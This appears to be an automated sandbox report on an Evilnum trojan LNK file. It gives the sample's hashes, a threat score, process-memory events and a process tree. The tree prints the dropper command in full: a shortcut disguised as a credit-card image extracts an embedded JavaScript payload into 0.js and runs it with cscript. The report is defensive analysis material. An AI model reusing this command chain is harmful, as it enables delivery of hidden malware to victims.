evilnum | 24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e

Analysis

Target

24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e.lnk
Size

83KB
MD5

85b2d96080c853c686f0b7b7284896a8
SHA1

db50fc4ea4f6c13fdbcd28ebe2f1cc44a74a83bf
SHA256

24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e
SHA512

9d419fb9406456937e92d57fc1b21f62cac1838082f6059924630edbefb5b568348553658565d59796d97b6078b28827abdb8c3c6eddb36800d0c78dcceff791

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 1028	1608	cmd.exe	28
PID 1608 wrote to memory of 1028	1608	cmd.exe	28
PID 1608 wrote to memory of 1028	1608	cmd.exe	28
PID 1028 wrote to memory of 1348	1028	cmd.exe	29
PID 1028 wrote to memory of 1348	1028	cmd.exe	29
PID 1028 wrote to memory of 1348	1028	cmd.exe	29
PID 1028 wrote to memory of 1040	1028	cmd.exe	30
PID 1028 wrote to memory of 1040	1028	cmd.exe	30
PID 1028 wrote to memory of 1040	1028	cmd.exe	30
PID 1028 wrote to memory of 1272	1028	cmd.exe	31
PID 1028 wrote to memory of 1272	1028	cmd.exe	31
PID 1028 wrote to memory of 1272	1028	cmd.exe	31
PID 1028 wrote to memory of 1852	1028	cmd.exe	32
PID 1028 wrote to memory of 1852	1028	cmd.exe	32
PID 1028 wrote to memory of 1852	1028	cmd.exe	32
PID 1028 wrote to memory of 1628	1028	cmd.exe	33
PID 1028 wrote to memory of 1628	1028	cmd.exe	33
PID 1028 wrote to memory of 1628	1028	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Barclays CC Back.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:1348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:1040
- - C:\Windows\system32\find.exe
    find "RDE3"
    3⤵
    PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:1852
- - C:\Windows\system32\cscript.exe
    cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:1628

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1608-54-0x000007FEFC0E1000-0x000007FEFC0E3000-memory.dmp

Filesize
8KB

Download